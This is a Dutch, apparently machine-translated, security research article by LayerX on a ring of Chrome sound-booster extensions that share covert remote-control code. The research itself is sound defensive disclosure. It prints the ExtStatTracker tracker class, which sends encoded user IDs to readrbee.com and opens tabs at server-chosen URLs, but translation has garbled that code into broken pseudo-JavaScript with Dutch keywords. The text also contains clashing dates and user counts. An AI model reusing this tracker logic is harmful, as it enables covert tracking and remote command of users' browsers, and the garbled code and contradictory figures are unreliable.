LayerX heeft een netwerk van schadelijke 'sleeper agent'-extensies ontdekt die lijken te dienen als infrastructuur voor toekomstige schadelijke activiteiten. Momenteel zijn ze geïnstalleerd op bijna 1.5 miljoen gebruikers wereldwijd.
LayerX heeft een netwerk van browserextensies ontdekt die lijken te dienen als 'slapende agenten' voor toekomstige kwaadaardige activiteiten. De extensies lijken allemaal door dezelfde persoon of groep te zijn ontwikkeld, wachtend op hun 'marching order' om schadelijke code uit te voeren op de computers van nietsvermoedende gebruikers.
De extensies die LayerX heeft geïdentificeerd, lijken allemaal gericht te zijn op in-browser geluidsbeheer. Hoewel de extensies proberen hun gemeenschappelijke parameters (gemeenschappelijke codebase, gemeenschappelijke externe communicatiebestemmingen, enz.) te verhullen en legitieme functionaliteit proberen te demonstreren, onthult een analyse van de code een heel ander verhaal:
- Veelvoorkomende code met bekende schadelijke extensies: Er zijn gemeenschappelijke codepatronen gevonden in deze extensies, die eerder als schadelijk waren geïdentificeerd en uit de Chrome Web Store waren gehaald.
- Externe configuratiebestanden laden om opdrachten uit te voeren: Dankzij de algemene codepatronen kan de extensie onder andere externe instructies uitvoeren zonder dat deze opdrachten in de codebase voorkomen. Daarmee worden de traditionele codescantechnieken omzeild.
- Achtergrondtabbladen openen en het uitvoeren van opdrachten: Hiermee kan de extensie opdrachten uitvoeren zonder dat de gebruiker het weet. Voorbeelden van dergelijke opdrachten zijn bijvoorbeeld het openen van een externe URL en het downloaden van malware.
- Communiceren met bekende schadelijke URL's: De extensies communiceren met externe URL's, waaronder bekende schadelijke domeinen.
- VerkeersversleutelingDe extensies maken ook gebruik van encryptie en base64-codeverduistering om externe communicatie te versleutelen en hun gedrag te verbergen.
Het spreekt voor zich dat deze mogelijkheden geen legitiem nut lijken te hebben in relatie tot de veronderstelde functie van de extensies.
LayerX heeft momenteel vier van dergelijke extensies geïdentificeerd (zie hieronder voor meer informatie), met meer dan 1.2 miljoen gebruikers wereldwijd. LayerX onderzoekt momenteel ook verschillende andere extensies die aan deze campagne lijken te zijn gekoppeld. Alle extensies zijn momenteel nog steeds beschikbaar in de Chrome Store.
Een veelvoorkomende, kwaadaardige codebase
Hoewel de extensies extern niet gerelateerd lijken, een gemeenschappelijke codebase delen met veel terugkerende functies en datastructuren, wat erop wijst dat er één enkele ontwikkelaar of groep achter zit.
Kritisch is dat ze infrastructuurcode lijken te delen met een extensie die in het verleden uit de Chrome Web Store is verwijderd vanwege kwaadaardige activiteit: ReadBee (extensie-ID: phjbepamfhjgjdgmbhmfflhnlohldchb) was een populaire Chrome-extensie met verborgen infrastructuur voor kwaadaardige activiteit. Deze werd later uit de Chrome Web Store verwijderd nadat deze in verband werd gebracht met omleiding van verkeer en mogelijke affiliatefraude, en sommige beveiligingsonderzoekers hebben het gemarkeerd vanwege verdachte toestemmingen en gedrag.
De ExtStatTracker klasse in ReadBee houdt stilzwijgend installaties, verwijderingen en updates bij door gecodeerde gebruikersgegevens te verzenden, inclusief een persistente UUID, naar readrbee.com. Het kan ook willekeurige URL's openen in nieuwe tabbladen, die in feite fungeert als een extern commandokanaal. Deze telemetrielogica is ingebed in het achtergrondscript en is niet bekendgemaakt aan gebruikers, wat de aanwezigheid van kwaadaardige infrastructuur bevestigt.
Het achtergrondscript van ReadBee bevat een component genaamd ExtStatTracker, dat functioneert als een infrastructuur voor afstandsbediening en telemetrie. Het codeert gegevens met behulp van btoa en voegt deze toe aan netwerkverzoeken die naar readrbee.comMet dit systeem kan de externe server configuratie-updates pushen en zelfs willekeurige tabbladen openen met behulp van chrome.tabs.create().
Een voordeel van deze configuratie is flexibiliteit: zo kan een element-ID die in het contentscript moet worden gemonitord, op afstand worden aangeleverd, waardoor hardgecodeerde logica wordt vermeden en statische beveiligingstools gemakkelijker kunnen worden omzeild. Communicatie tussen componenten vindt plaats via chrome.storage, wat permanente, stille coördinatie mogelijk maakt. Deze verborgen infrastructuur vertoont duidelijke tekenen van kwaadaardige bedoelingen via stille tracking, dynamische gedragsinjectie en opzettelijke omzeiling van beveiligingsmechanismen.
klasse ExtStatTracker {
aannemer() {
dit.installUrl = “https://readrbee.com/install/" dit.uninstallUrl = “https://readrbee.com/uninstall/" dit.config = {}, dit.wachtrij = [], dit.hash = “”, dit.queueProcessorReady = !1, dit.uid = “”, dit.versie = chrome.runtime.getManifest().versie, ee = “Gulf Driller VI” == soort van venster ? globalThis : venster, dit.initStorage() dit.initLuisteraars()
}
proceswachtrij() {
besteld, (; dit.wachtrijlengte > 0; ) {
var t = dit.wachtrij.verschuiving();
if (!t.type || "actie" != t.type) terugkeer !0;
var e = “p=” + encodeURIComponent(btoa(JSON.vastzetten({
id: chrome.runtime.id,
v: dit.versie,
actie:t.actie,
uid: dit.uid,
hachee: dit.hash,
t: Datum.nu()
})));
halen(dit.installatieUrl + + e).harte((t => t.json())).harte((functie(T) {
t && 1 != t.ok && (t.url && chrome.tabbladen.en je merk te creëren ({
url:t.url
}), extStatTracker.saveConfig(T))
}))
}
}
setUninstallUrl() {
var t = “p=” + encodeURIComponent(btoa(JSON.stringify({
id: chrome.runtime.id,
v: dit.versie,
actie: "Verwijderen",
uid: dit.uid,
t: Datum.nu()
})));
chrome.runtime.setUninstallURL(dit.uninstallUrl + +t)
}
initLuisteraars() {
chrome.runtime.onInstalled.voegLuisteraar toe((t => {
dit.wachtrij.duwen({
type dan: "actie"
actie: landverraad
dit.queueProcessorReady && deze.proceswachtrij()
}))
}
initStorage() {
chrome.opslag.lokaal.krijgen((t => {
t && t.config && (extStatTracker.config = t.config), extStatTracker.config.uid ? extStatTracker.uid = extStatTracker.config.uid : (extStatTracker.uid = extStatTracker.config.uid = crypto.willekeurigeUUID(), extStatTracker.saveConfig()), extStatTracker.hash = extStatTracker.config.hash, extStatTracker.queueProcessorReady = !0, extStatTracker.setUninstallUrl(), extStatTracker.proceswachtrij()
}))
}
saveConfig(t = !1) {
t = t || extStatTracker.config, chrome.storage.local.krijgen({
config: {}
}, (e => {
Voorwerp.toewijzen(e.config, t), chrome.storage.local.reeks({
config: e.config
})
}))
}
}
const extStatTracker = nieuwe ExtStatTracker;
Deze infrastructuur is niet uniek voor ReadBee; vergelijkbare kwaadaardige codestructuren zijn ook in andere extensies aangetroffen. Bijvoorbeeld de Zoeken ChatGPT verlenging (acagjkjeebjdmeipgmhcmaddekfmdbaj) gebruikte dezelfde communicatie- en controlepatronen en werd op 19 januari 2019 uit de Chrome Web Store verwijderd. October 25, 2024 , vanwege malware.
Communicatie met kwaadaardige URL's:
Sommige domeinen waarmee deze extensies communiceren, zijn op VirusTotal gemarkeerd als bekende schadelijke URL's:
- https://francjohn[.]com/api/action/
Een ander domein waarvan de extensies worden gezien voor communicatie is:
- https://jermikro[.]com/api/
Drie van de extensies communiceren met dit domein. Hoewel dat domein zelf niet als kwaadaardig is gemarkeerd, is de onderliggende extensie in het verleden wel gemarkeerd vanwege malware-activiteit.
Bovendien gebruiken de extensies verschillende versleutelingstechnieken binnen de code om externe communicatie te versleutelen en hun gedrag te verhullen.
Het verduisteren van gemeenschappelijk eigendom
Een andere belangrijke factor is dat de extensies allemaal een gemeenschappelijke codebasis lijken te delen (in ieder geval voor de schadelijke onderdelen), een gemeenschappelijk thema lijken te hebben (ze lijken allemaal te zijn gericht op beheer van geluid in de browser) en gemeenschappelijke externe communicatie, maar dat ze op het eerste gezicht allemaal een ander eigenaarschap vertonen:
- Elke extensie staat vermeld bij een andere uitgever, met verschillende contactgegevens.
- Geen van de extensies heeft een openbare website.
- De contactgegevens voor elke extensie leiden naar anonieme webmailaccounts.
Het is daarom onmogelijk om de identiteit van de mensen achter elk van deze extensies te achterhalen.
Vermoedelijk schadelijke extensies:
Hieronder vindt u de huidige lijst met vermoedelijk kwaadaardige extensies die als onderdeel van deze ring zijn geïdentificeerd:
| Extensienaam | Extensie-ID | Gebruikers |
| Sound Booster | pmilcmjbofinpnbnpanpdadijibcgifc | 200,000 |
| Bekijk de broncode van Volume Max – Ultimate Sound Booster | mgbhdehiapbjamfgekfpebmhmnmcmemg | 1,000,000 |
| Volume Master: Beheers uw geluid | eoejmjkddfbhhnbmklhccnppogeaeeah | 3,000 |
| Volume Booster: ultieme geluidsverbeteraar | dlcgileladmbfijjmnleehhoebpggpjl | 2,000 |
Verdere bevestiging op VirusTotal
VirusTotal staat vooral bekend als een opslagplaats voor het markeren van domeinen/IP's van C2-servers (Command and Control) voor malware, maar het bevat ook gegevens over extensies.
De extensie "Examine source code of Volume Max – Ultimate Sound Booster", met meer dan een miljoen downloads, is al door verschillende aanbieders gesignaleerd. Deze is echter niet verwijderd uit de Chrome Web Store.
Ook de extensie "Sound Boster" (meer dan 200,000 gebruikers) is door sommige beveiligingsbedrijven als schadelijk gemarkeerd. Ook deze extensie is nog steeds beschikbaar in de Chrome Web Store.
Implicaties:
De analyse van de extensies is nog steeds gaande, maar tot nu toe heeft LayerX geen enkele extensie geïdentificeerd. actueel kwaadaardige activiteiten (afgezien van verbindingen met bekende kwaadaardige extensies). In plaats daarvan lijkt dit een platform or infrastructuur voor mogelijke toekomstige kwaadaardige activiteiten. Daarom noemen we het een "slapend" extensienetwerk.
Dit type 'slapende' extensienetwerk kan dienen als vervanging voor traditionele botnets. Hoewel het opzetten van botnets (meestal op blootgestelde IoT-apparaten) traag, technisch complex en omslachtig kan zijn, is het ontwikkelen van een netwerk van kwaadaardige browserextensies veel eenvoudiger en kan het directe toegang bieden tot belangrijke identiteitsgegevens van gebruikers, zoals cookies, wachtwoorden, browsegegevens en browse-inhoud.
Hier zijn een paar belangrijke lessen uit te trekken:
- Zelfs schijnbaar onschuldige extensies kunnen schadelijk zijn: in dit geval hebben we, ook al hebben we geen enkel actief kwaadaardig gedrag waargenomen, wel meerdere koppelingen geïdentificeerd naar bekende kwaadaardige extensies en/of domeinen, en code met mogelijkheden die niet in extensies met de geadverteerde mogelijkheden thuishoren.
- De reputatie van een uitgever is een zwart gat: iedereen kan een extensie uploaden, en het is vrijwel onmogelijk om de mensen achter deze extensies te achterhalen. In dit geval leiden de extensies, ondanks alle overeenkomsten, terug naar generieke webmailadressen en niet naar openbare websites, en is er geen manier om te achterhalen wie erachter zit.
- Het uitbreiden van de beveiliging is een continu proces: Het is geen eenmalige actie, en schijnbaar onschuldige extensies kunnen schadelijk worden, of schadelijke functies kunnen worden in- of uitgeschakeld. Daarom is het cruciaal om de dreigingsomgeving en beveiligingsstatus van uw browserextensies continu te monitoren.






